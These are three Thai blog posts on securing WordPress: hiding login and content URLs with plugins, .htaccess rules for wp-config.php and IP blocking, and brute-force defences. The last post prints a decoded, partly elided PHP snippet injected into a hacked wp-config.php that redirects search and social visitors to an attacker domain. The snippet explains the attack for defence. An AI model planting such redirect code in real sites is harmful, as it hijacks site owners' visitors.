เปลี่ยน wp-admin เป็นอย่างอื่นได้ไหม

เปลี่ยน wp-admin เป็นอย่างอื่นได้ไหม

ข้อกังวลอย่างหนึ่งของคนใช้เว็บ WordPress คือเวลาเข้าหลังเว็บจะต้องใส่ /wp-admin ต่อท้ายชื่อเว็บ อยากจะเปลี่ยนเป็นอย่างอื่นได้ไหม ดูไม่ค่อยปลอดภัย คำตอบคือได้ครับ ก็ต้องอาศัยบริการจากปลั๊กอินเช่นเคย มีอยู่หลายตัว ที่ผมจะแนะนำก็คือ WPS Hide Login เป็นตัวที่ง่ายที่สุด มีให้เซตอันเดียวคือจะให้แทน wp-admin ด้วย mylogin หรือ whatever เมนูของ WPS ซ่อน wp-admin ด้วย WPS ถ้าคุณต้องการเปลี่ยนเพียงแค่นี้ก็จบ ล็อกอินครั้งต่อไปก็ใช้ mywebsite.com/mylogin มีข้อควรระวังอย่างหนึ่งคือ หลังที่คุณ activate แล้วปลั๊กอินจะมีผลทันที ก่อนล็อกอินครั้งต่อไปจะใช้ wp-admin ไม่ได้แล้ว คุณต้องจำให้ได้ว่าคุณเปลี่ยนเป็นอะไร ค่า default หลัง activate คือ login WP Hide & Security Enhancer ยังมีปัญหาอีกอันหนึ่งที่เกี่ยวกับ url ของ WordPress ที่คุณอาจจะเป็นกังวล เพราะว่า WordPress เป็น open source คือเป็นโปรแกรมที่เปิดเผย source code และมีข้อมูลทางเทคนิคที่เป็นที่รู้กันทั่ว อย่างเช่นถ้าคุณสังเกต url ของรูปภาพในระบบของ WordPress จะอยู่ในรูป yoursite.com/wp-content/uploads/xxx.jpg และยังมีอีกหลายๆ url ที่พอดูออกก็รู้ว่าเป็น WordPress ถ้าคุณไม่ซีเรียสกับ url แบบที่กล่าวข้างต้นก็ผ่านไปได้ครับ แต่ถ้าอยากซ่อนเอาไว้ก็มีปลั๊กอินที่ช่วยอีกตัวคือ WP Hide & Security Enhancer แก้ไข /wp-content/themes ปกติธีมที่เราติดตั้งจะอยู่ภายใต้โฟลเดอร์ mysite.com/wp-content/themes สมมติว่าคุณต้องการเปลี่ยนให้เป็น mysite.com/thistheme อันนี้ก็เป็นการปกป้องชื่อธีมที่คุณใช้ โดย thistheme เป็นชื่อที่คุณตั้งคุณเองเพื่อแทนธีมที่คุณใช้ไม่ว่าจะเป็นอะไร การซ่อน themes หลักด้วย WP Hide การซ่อน include url หลักด้วย WP Hide แก้ไข wp-content โฟลเดอร์ mysite.com/wp-content ใช้สำหรับเก็บข้อมูล ธีมและปลั๊กอิน ซึ่งเป็นตัวบ่งบอกว่าเป็น WordPress ที่ชัดเจนมาก ถ้าคุณไม่ต้องการกคำว่า wp-content ก็เปลี่ยนได้ การซ่อน content url หลักด้วย WP Hide เปลี่ยน wp-content/uploads เป็นโฟลเดอร์ที่ใช้เก็บรูปภาพและข้อมูลต่างๆที่เราอัพโหลดขึ้น WordPress คุณอาจอยากเปลี่ยนด้วย การซ่อน uploads url ด้วย WP Hide แก้ไข wp-content/plugins ตามปกติปลั๊กอินที่เราติดตั้งไว้จะอยู่ภายใต้โฟลเดอร์นี้ ถ้าคุณอยากจะเปลี่ยนคำว่า mysite.com/wp-content/plugins ให้เป็น mysite.com/tools หรือคำอื่นก็ใส่ในช่องนี้ การซ่อน plugin url หลักด้วย WP Hide เนื่องจากมีปลั๊กอินหลายตัวที่คุณอาจติดตั้งในระบบของ WordPress ซึ่งชื่อของมันยังปรากฏอยู่ภายใต้คำว่า tools อยู่ ปลั๊กอินตัวนี้จะค้นหาปลั๊กอินทุกตัวที่คุณติดตั้งในระบบและให้คุณเปลี่ยนเป็นชื่ออื่นได้ เช่นผมติดตั้ง Gutenberg กับ Jetpack ไว้ ปลั๊กอินก็จะให้เราตั้งชื่อปลั๊กอินใหม่ (ภายใต้ tools) การซ่อน plugin url ด้วย WP Hide สรุป ปลั๊กอินสองตัวนี้ WPS กับ WP Hide เป็นปลั๊กอินง่ายๆที่จะช่วนให้คุณซ่อน url มาตรฐานของ WordPress ได้เป็นอย่างดี การซ่อน wp-admin เป็นสิ่งที่ผมแนะนำให้ทุกเว็บไซต์ทำนะครับ ส่วนการซ่อนอันหลังนี่แล้วแต่คุณ ถ้าคุณซีเรียสกับการถูกแฮ็คมากเปลี่ยนได้ก็ดี เป็นการลดความเสี่ยงแต่ไม่ได้รับประกันว่าจะไม่ถูกแฮ็ค เพราะสำหรับผู้รู้แล้วถึงจะซ่อนยังไงก็รู้ได้ไม่ยากว่าเว็บนั้นใช้ WordPress หรือ open source ตัวใดอยู่ มาตรการข้างต้นช่วยลดความเสี่ยงจากการถูกแฮ็คด้วย robot มากกว่าการถูกแฮ็คโดย hacker โดยตรง ที่กล่าวมานี้ไม่ได้หมายความว่า WordPress ไม่ปลอดภัยนะครับ อยากจะย้ำว่ามันเป็นธรรมชาติของโปรแกรมประเภท open source…

แนวทางการป้องกัน WordPress จากการโดนแฮค

แนวทางการป้องกัน WordPress จากการโดนแฮค

สงวนลิขสิทธิ์ การโจมตีเว็บไซต์ WordPress อย่างต่อเนื่องยังเป็นความเสี่ยงของผู้ที่เป็นเจ้าของหรือผู้ดูแลระบบ การป้องกัน WordPress จากการโดนแฮคเป็นสิ่งที่ผู้ดูแลระบบจะต้องให้ความสำคัญอย่างต่อเนื่อง มาตรการเล็กๆน้อยๆแม้จะไม่ได้ช่วยให้ปลอดภัยจากการถูกแฮคได้ 100% แต่ก็ช่วยลดความเสี่ยงจากการถูกแฮคจาก robot ได้มาก ลดความเสี่ยงจากการถูกแฮครหัสผ่าน วิธีพื้นฐานที่ robot ใช้ในการเจาะเข้าเว็บไซต์ทั่วไปคือการเดาชื่อบัญชีและรหัสผ่านหรือที่เรียกกันว่า brute force attack ซึ่งเป็นการเดาสุ่มโดยโปรแกรม ซึ่งสามารถเดาได้ถี่มากในช่วงเวลาสั้นๆ ยิ่งถ้าเป็นชื่อบัญชีพื้นๆอย่างเช่น admin root home และรหัสผ่านสั้นๆไม่กี่ตัวอักษรก็จะถูกเดาได้อย่างง่ายมาก ดังนั้นสิ่งพื้นฐานที่ผู้ดูและเว็บไซต์จะต้องให้ความสำคัญคือนอกจากรหัสผ่านจะเป็นความลับแล้ว ชื่อบัญชีก็ต้องเป็นความลับด้วย และเรื่องต่อมาก็คือจะต้องลดความถี่จากการพยายามเจาะเข้ามา สำหรับ WordPress มี plugin อยู่สองตัวที่ช่วยทำหน้านี้คือ  lockdown และ limit lock in attempt ตัวแรกไม่มีการอัพเดทมาเกินสองปีแล้ว แต่ก็ยังใช้ได้ดี ป้องกันด้วย .htaccess สำหรับผู้ที่ใช้โฮสท์ในระบบ linux และใช้ apache เป็น web server จะมีกลไลที่ช่วยป้องกันการเจาะเข้าในระดับไดเรคทอรี่และระดับไฟล์ ซึ่งใช้ได้กับเว็บไซต์ทุกประเภท ไม่จำเป็นต้องเป็นเว็บไซต์ที่สร้างด้วย CMS หรือ WordPress .htaccess เป็นไฟล์ที่จะใช้บอกเงื่อนไขว่าเราต้องการควบคุมการเข้าถึงเว็บไซต์ของเราอย่างไร ซึ่งหากเราลง WordPress ครั้งแรกและเปิดใช้ permalinks ไว้ ไฟล์นี้จะถูกสร้างขึ้นให้โดยอัตโนมัติที่ตำแหน่ง public_html ซึ่งเราเปิดดูก็จะเป็นดังนี้ # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ – [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> # END WordPress ซึ่งข้อมูลข้างบนเราไม่ต้องไปแตะเพราะเกี่ยวกับการทำ permalinks เราเพียงแต่เขียนต่อท้ายเข้าไป ป้องกัน wp-config.php wp-config.php เป็นไฟล์เป้าหมายอันดับต้นๆที่จะถูกแก้ไขหากเว็บของเราถูกเจาะเข้ามาได้ เพราะว่าไฟล์นี้จะถูกรันทุกครั้งที่มีการเปิดเว็บเพจของเรา ซึ่งหากมีการใส่โค้ดบางอย่างแทรกเข้าไปโค้ดนั้นก็สามารถรันได้ตลอดเวลา วิธีป้องกันไม่ให้ไฟล์นี้ถูกเปลี่ยนแปลงก็คือใส่โค้ดต่อไปนี้ลงไป <Files wp-config.php> order allow,deny deny from all </Files> ซึ่งจะเป็นการป้องกันไม่ให้มีการแก้ไขข้อมูลในไฟล์นี้รวมทั้งตัวเราเองด้วย ซึึ่งหากเรามีเหตุผลบางอย่างที่ต้องการเปลี่ยนแปลง wp-config.php  เช่นเราต้องการเปลี่ยนรหัสผ่านของฐานข้อมูล ก็ต้องมาปลดล็อกตรงนี้ก่อน ป้องกันการ login จาก IP อื่น ปกติเมื่อเราจะเข้าใช้ WordPress ก็จะเข้าผ่านทาง mysite.com/wp-admin ซึ่งคนอื่นที่จะเจาะเข้ามาก็ใช้ช่องทางนี้เช่นกัน ซึ่งอาจจะทำโดยโปรแกรมก็ได้ ถ้าองค์กรของคุณใช้ IP แบบ fix คุณสามารถเจาะจงว่า IP ของคุณเท่านั้นที่สามารถเข้าทางช่องนี้ได้ โดยสร้างไฟล์ .htaccess อีกไฟล์ไว้ภายใต้ public_html/wp-admin order deny allow allow from 203.100.20.5 deny from all โดย 203.100.20.5 คือ  fix IP ของเรา แต่ถ้าเราใช้ IP แบบ dynamic ก็ให้มาแก้ไขหมายเลขนี้ก่อนล็อกอิน (ซึ่งไม่สะดวก) เพราะฉะนั้นใช้วิธีนี้ก็ต่อเมื่อคุณใช้ fix IP จะดีกว่า ป้องกันจาก IP ไม่พึงประสงค์ เมื่อเราใช้ plugin อย่างเช่น limit login attempt เราจะสังเกตเห็น IP บางตัวที่พยายามเจาะเข้ามาอย่างถีี่ๆ ซึ่งเราอาจเอาไปตรวจสอบกับ iplocation.net เพื่อหาที่มา หากพบว่าที่มาเป็นที่น่าสงสัย เราก็อาจบล็อก IP นั้นไปเลยก็ได้ โดยพิมพ์คำสั่งต่อไปนี้เข้าไปใน .htaccess <Limit GET POST> order allow deny deny from 203.100.21.1 deny from 203.102.181.20 allow from all…

WordPress เป็นเป้าหมายของการโดน Hack

WordPress เป็นเป้าหมายของการโดน Hack

WordPress กำลังเป็นเครื่องมือสำหรับสร้างเว็บไซต์แห่งยุคตัวหนึ่งที่ได้รับความนิยมอย่างล้นหลามทั่วโลก เว็บไซต์ดังๆหลายแห่งสร้างขึ้นโดยใช้ WordPress รวมทั้งเว็บไซต์ในประเทศไทย คลิกไปที่ไหนก็เจอเว็บที่สร้างด้วย WordPress เสียกว่า 50% (ประเมินส่วนตัว) และด้วยความที่เป็น CMS ยอดนิยม ก็ย่อมตกเป็นเป้าหมายของการโดน hack อย่างไม่น่าสงสัย ผู้ให้บริการชื่อดังอย่าง hostgator ประกาศเตือนผู้เช่า host ที่ใช้ WordPress ให้ระวังการถูกโจมตีโดยการ login แบบลองผิดลองถูกกับ username และ password (ที่เรียกว่า brute-force attack) โดย robot จากเครื่อง server กลุ่มหนึ่งที่ถูกเซตมาเพื่อโจมตีเว็บไซต์ที่ใช้ WordPress โดยเฉพาะ โจมตีอย่างไร robot เหล่านี้จะพยายาม login เข้าสู่ระบบโดยใช้ชื่อบัญชี admin เป็นหลักและลองรหัสผ่านง่ายๆ เช่น 123456, qazwsx, qwerty หรือลองจากคำง่ายๆเช่น happybirthday, bangkok, waterfall อะไรอย่างนี้เป็นต้น ซึ่งวิธีการอย่างนี้เกิดขึ้นได้กับทุกระบบ ไม่จำเป็นต้องเป็นเว็บไซต์ที่สร้างขึ้นด้วย WordPress (ขึ้นอยู่กับว่าเป็นเป้าหมายในการโจมตีหรือเปล่า) รูปต่อไปนี้คือความพยายามที่จะเจาะเข้ามา ซึ่งมีการสุ่มชื่อผู้ใช้ admin เป็นหลัก รวมทั้งชื่อง่ายๆอย่าง test, support เป็นต้น ก่อนที่จะไปถึงผลของการโดน hack ซึ่งอาจจะไม่ได้มาจากวิธีนี้ เรามีวิธีป้องกันกันการเดาสุ่ม username และ password ได้ง่ายๆโดยใช้ plugin ชื่อ limit login attempts ซึ่งเราสามารถเซตได้ว่าหากมีการ login ผิดจะต้องรออีกกี่นาทีถึงจะ login ครั้งต่อไปได้ แม้จะไม่ได้เป็นการป้องกันการโดน hack ได้ 100% เพราะหาก username และ password เดาได้ง่ายก็ถูกเจาะเข้ามาได้ง่ายเช่นกัน แต่เป็นการป้องกันไม่ให้มีการ login ผิดแบบถี่ๆ เป็นการหน่วงเวลาของ robot ซึ่งเป็นการลดโอกาสในการถูก hack ให้น้อยลง อีกอย่าง username และ password ให้ใช้วิธีตั้งค่าให้ยาวๆ (8 ตัวอักษรขึ้นไป) และไม่ใช้คำสามัญ โดยเฉพาะ password ให้สร้างโดยใช้อักษรตัวเล็กตัวใหญ่ ผสมตัวเลข ผสมอักษรพิเศษ %$#@ เข้าไปก็จะช่วยได้อย่างมากมายมหาศาล ผลของการโจมตีเป็นอย่างไร ผลของการโจมตีนั้นสุดแสนจะคาดเดา เพราะหากถูก login เข้ามาได้ในฐานะ admin ก็ย่อมสามารถทำอะไรได้เหมือนกับที่เราทำ ตั้งแต่สร้างความหายนะคือการเปลี่ยนแปลงข้อมูล แก้ไขหน้าเว็บเพจ จนกระทั่งถึงลบข้อมูลทิ้ง แต่โดยทั่วไป การ hack เข้ามาจะกระทำโดย robot และจะทำอะไรก็ทำโดย robot (เว้นเสียแต่ว่าเราเป็นเป้าหมายจริงๆ จึงลงมือทำด้วยคน) ซึ่งจุดมุ่งหมายมักไม่ใช่การสร้างหายนะ แต่เป็นการวางยาเพื่อใช้เว็บไซต์ของเหยื่อเป็นฐานในการทำอะไรบางอย่าง ตัวอย่าง WordPress ที่โดน hack ตัวอย่างคลาสสิคที่หาก robot สามารถเจาะเข้ามาได้คือการเข้าไปแก้ไขไฟล์ /public_html/wp-config.php ซึ่งจะเป็นไฟล์ที่ถูกรันอยู่ตลอดเวลาเมื่อมีการเปิดเพจ โดยมีการใส่ code บางอย่างเข้าไป จะสังเกตเห็นว่ามีการแทรกคำสั่ง php เอาไว้ ซึ่งจะถูกรันทุกครั้งที่มีการเปิดเพจใดเพจหนึ่ง สิ่งแปลกปลอมนี้คือคำสั่ง php ที่ถูกเข้ารหัสไว้ ซึ่งถ้าเราถอดรหัสออกมาก็จะได้คำสั่งประมาณนี้ error_reporting(0); $qazplm=headers_sent(); if (!$qazplm){ $referer=$_SERVER[‘HTTP_REFERER’]; $uag=$_SERVER[‘HTTP_USER_AGENT’]; if ($uag) { if (“yahoo”…”bing”…”rambler”…”gogo”…”live.com” …”aport”…”nigma”…”webalta”…”begun.ru”…”stumbleupon.com”…”bit.ly”…”tinyurl.com”…yandex…”google… “myspace.com”…”facebook.com”) …”aol.com”) { if (!stristr($referer,”cache”) or !stristr($referer,”inurl”)){ header(“Location: http://www.hacker-devil-destroy-and-annoy-god-dam.com/“); exit(); } ท่านที่ไม่ใช่โปรแกรมเมอร์ไม่ต้องตกใจครับ ไม่ต้องไปสนใจรายละเอียด จุดมุ่งหมายของโค้ดนี้คือ ถ้ามีคนไปเจอเพจใดเพจหนึ่งของเราผ่าน yahoo, bing, google หรือมีลิงค์จาก facebook, myspace หรืออะไรก็ตามที่ถูกดักไว้ ทันทีที่คนเห็นแล้วคลิก มันจะถูก redirect ไปที่เว็บไซต์เป้าหมายตามตัวอย่างคือ hacker-devil-destroy-and-annoy-god-dam ดอทคอม ซึ่งจะไม่มาที่เว็บไซต์ของเรา ความหมายก็คือ เราถูกขโมยผู้ชมไป…